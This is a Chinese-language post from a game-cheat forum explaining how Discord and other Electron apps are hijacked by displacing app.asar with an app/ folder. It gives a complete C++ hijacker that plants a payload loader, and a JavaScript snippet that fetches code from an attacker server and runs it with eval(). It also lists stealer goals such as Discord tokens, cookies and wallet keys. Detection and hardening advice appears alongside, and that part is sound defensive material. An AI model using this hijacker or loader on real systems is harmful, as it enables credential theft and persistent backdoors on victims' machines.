搜尋

DiscordCE修改

返回清單
切換到指定樓層
通知這文章過時或找檔案 發表主題

[作弊修改] 《Electron/Discord》Entry-Point 劫持技術解析 C++ 腳本原始碼、app.asar 注入原理、Node.js 執行流程攔截

[複製連結]
1
KKKer ( Lv.70 熾天使 ) 發表於 8 小時前 | 只看該作者 回覆獎勵 |降序瀏覽 |閱讀模式

快速閱讀精華


  • 🎯 核心原理:Electron 啟動時會優先讀取 /resources/app/ 資料夾,若該資料夾存在,將直接執行其中的 index.js,而忽略原本的 app.asar 壓縮檔
  • 🔧 技術手法:透過 C++ 檔案系統操作,將原始 app.asar 重新命名為備份檔,並建立新的 app/ 資料夾植入惡意程式碼
  • ⚠️ 風險提醒:此技術常被資安威脅利用於 Discord 客戶端注入攻擊,可能導致帳號憑證遭竊或後門常駐
  • 📦 檔案結構:劫持後的執行流程為 惡意腳本 → 原始應用程式核心,使用者看似正常啟動應用程式,實際上惡意程式碼已先行執行




技術原理概述



這篇文章要為開發者與資安研究人員解決的核心問題是:「Electron 應用程式的 Entry-Point 是如何被劫持的?」

Electron 作為目前最熱門的跨平台桌面應用程式開發框架,被 Discord、Slack、VS Code 等數億用戶級軟體廣泛採用。然而,其獨特的應用程式載入機制也成為駭客攻擊的溫床。本文將深入解析一種 C++ 實作的 Entry-Point Hijacker 技術,說明攻擊者如何利用 Electron 的載入優先順序,在不修改原始應用程式執行檔的情況下,植入並執行任意程式碼。


👉 GM後台版 遊戲 推薦 ⬇️⬇️⬇️ 快速玩各種二次元動漫手遊app



Electron 載入階層解析



Electron 應用程式啟動時,Node.js 執行環境會依照嚴格的優先順序尋找應用程式碼 :

  • 第一優先:app/ 資料夾
    /resources/app/ 資料夾存在,Electron 會將其視為「未打包」的原始碼,直接執行其中的 index.js
  • 第二優先:app.asar 檔案
    若 app/ 資料夾不存在,則尋找 app.asar 壓縮封存檔,並從中載入應用程式碼


這個設計的初衷是方便開發者進行除錯,但同時也創造了一個根本性的安全漏洞:只要建立一個名為 app 的資料夾,就能完全覆寫官方應用程式的行為,而無需修改任何原始程式碼或執行檔 。

檔案系統操作手法



C++ 層級的劫持腳本執行三個關鍵的檔案系統操作,以重新導向執行流程:

封存檔位移(Archive Displacement)



首先將原始的 app.asar 移出原本位置,避免載入衝突,同時保留作為後續呼叫的「函式庫」:

fs::rename(originalAsar, backupAsar); // app.asar -> original_core.asar


清單偽造(Manifest Spoofing)



在新的 app/ 資料夾中建立 package.json,告知 Node 執行環境應用程式的進入點為 index.js

pkg << "{\n  \"name\": \"discord-bridge\",\n  \"main\": \"index.js\"\n}";


JavaScript 代理(JavaScript Proxy)



寫入新的 index.js 作為中介層(Middleware),利用 Node 的 require() 函式串接多個腳本:

// Step A: 載入惡意或自訂的 Payload
require('C:/script.js');

// Step B: 載入原始的 Discord 啟動程式
require('./original_core.asar/app_bootstrap/index.js');


這種鏈式載入的精妙之處在於:使用者看到的應用程式完全正常運作,因為原始的核心程式碼最終仍被執行,但惡意程式碼已經在此之前完成了初始化 。

JavaScript 代理注入



在實際的惡意利用案例中,注入的 JavaScript 通常具備以下功能 :

  • 遠端程式碼執行:透過 HTTPS 連線至攻擊者控制的伺服器,下載並執行動態指令碼
  • 憑證竊取:攔截 Discord Token、瀏覽器 Cookie、自動填入的密碼
  • 持久化後門:即使主惡意程式被清除,每次啟動 Discord 時仍會重新建立連線
  • 網路流量監控:利用 Chrome DevTools Protocol (CDP) 監控使用者的網路活動


典型的惡意注入程式碼範例如下 :

require('https').request({
    hostname: '攻擊者伺服器網址',
    path: '/api/getapicn?key=%s',
    headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/135.0.0.0 Safari/537.36'
    }
}, r => {
    let d = '';
    r.on('data', c => d += c);
    r.on('end', () => eval(d));
}).end();

module.exports = require("./core.asar");


這段程式碼會在 Discord 啟動時向遠端伺服器發送請求,取得並執行攻擊者提供的 JavaScript 指令碼,同時確保正常的 Discord 功能不受影響 。

資安風險與防護建議



⚠️ 重要提醒

此技術屬於高風險的系統層級操作,在資安領域中被歸類為 ASAR Tampering(MITRE ATT&CK 技術 T1218.015)。近年來,包括 Katz Stealer、VVS Stealer 等多種資訊竊取惡意程式,均採用此手法對 Discord 進行客戶端注入攻擊 。

攻擊影響範圍



  • Discord 帳號遭劫持,包括雙重驗證備份碼、密碼變更、付款方式等敏感操作被監控
  • 瀏覽器儲存的密碼、Cookie、自動填入資料被竊取
  • 加密貨幣錢包(Exodus、Atomic 等)的助記詞與私鑰遭竊
  • 系統被植入持久化後門,即使重開機仍會持續運作


防護措施



  • 定期檢查應用程式目錄:確認 Discord 安裝路徑下的 /resources/ 資料夾是否出現非官方的 app/ 資料夾
  • 監控網路連線:注意 Discord 程序是否連線至異常的第三方網域
  • 使用端點防護軟體:現代 EDR/XDR 系統已能偵測此類 ASAR 檔案篡改行為
  • 驗證應用程式完整性:部分 Electron 應用程式已開始實作 ASAR 完整性驗證機制


核心程式碼範例



底下提供一個簡化的 C++ 劫持程式骨架,用於理解此技術的實作邏輯。此範例僅供教育研究用途:

#include <filesystem>
#include <fstream>
#include <IOStream>

namespace fs = std::filesystem;

int main() {
    // 設定目標路徑(以 Discord 為例)
    std::string resourcesPath = "C:/Users/Username/AppData/Local/Discord/app-1.0.9001/resources/";
    std::string originalAsar = resourcesPath + "app.asar";
    std::string backupAsar = resourcesPath + "original_core.asar";
    std::string appFolder = resourcesPath + "app/";
   
    // Step 1: 移動原始 app.asar
    if (fs::exists(originalAsar)) {
        fs::rename(originalAsar, backupAsar);
        std::cout << "[+] 原始封存檔已備份\n";
    }
   
    // Step 2: 建立 app/ 資料夾
    fs::create_directories(appFolder);
   
    // Step 3: 寫入 package.json
    std::ofstream pkg(appFolder + "package.json");
    pkg << "{\n  \"name\": \"discord-bridge\",\n  \"main\": \"index.js\"\n}";
    pkg.close();
   
    // Step 4: 寫入劫持用的 index.js
    std::ofstream idx(appFolder + "index.js");
    idx << "// 惡意 Payload 載入點\n";
    idx << "require('C:/path/to/payload.js');\n\n";
    idx << "// 載入原始 Discord 核心\n";
    idx << "require('./original_core.asar/app_bootstrap/index.js');\n";
    idx.close();
   
    std::cout << "[+] Entry-Point 劫持完成\n";
    return 0;
}


常見問題Q&A



Q:這個技術會被防毒軟體偵測到嗎?

A:傳統的特徵碼掃描可能難以偵測,因為此技術本身並未修改可執行檔,僅是建立新的資料夾與 JavaScript 檔案。然而,現代的行為偵測與端點防護系統(EDR)已能識別此類異常的檔案系統操作模式 。

Q:如何確認我的 Discord 是否已被注入?

A:請檢查 Discord 安裝目錄下的 /resources/ 資料夾。正常情況下應該只有 app.asar 檔案,若出現 app/ 資料夾或 original_core.asar 等備份檔案,即表示可能已遭篡改。

Q:重新安裝 Discord 能清除注入嗎?

A:標準的解除安裝程序可能無法完全清除,因為惡意程式可能已將檔案寫入其他系統位置。建議使用官方清理工具徹底移除後,再從 Discord 官網下載最新版本重新安裝。

Q:這個技術只能用於 Discord 嗎?

A:任何基於 Electron 框架建構的應用程式都可能受到影響,包括 Slack、Microsoft Teams、VS Code、Signal 等 。只要應用程式未實作 ASAR 完整性驗證,理論上都存在被劫持的風險。

Q:開發者如何保護自己的 Electron 應用程式?

A:可參考以下防護策略:
  • 實作 ASAR 封存檔的完整性驗證(Integrity Check),在應用程式啟動時驗證雜湊值
  • 使用 Electronegativity 等工具掃描應用程式的安全設定
  • 啟用程式碼簽章驗證,確保應用程式檔案未被竄改
  • 參考 ElectronVulnScanner 進行漏洞掃描


Q:CT 檔案或 CE 腳本能用來分析這類攻擊嗎?

A:是的,Cheat Engine (CE修改器) 7.5 漢化版 中文版《Cheat Engine》V7.6 中文化版超強記憶體解鎖工具:遊戲外掛製作神器! 可用於動態分析惡意程式的記憶體行為,但建議在隔離的虛擬環境中操作。







大家正在看啥


收藏收藏 分享文章到FB上分享
回覆 使用道具 檢舉
複製專屬你的推廣連結:發至FB與各論壇宣傳:累積點數換GP商品 & 藍鑽
每五點閱率就可以兌換藍鑽積分或遊戲點卡 夢遊推廣文章換GP商品

你需要登入後才可以回覆 登入 | 加入會員

本版積分規則

Copyright (C) 2010-2020 夢遊電玩論壇

廣告合作:請直接聯繫我們,並附上您預刊登位置的預算。  

快速回覆 返回頂端 返回清單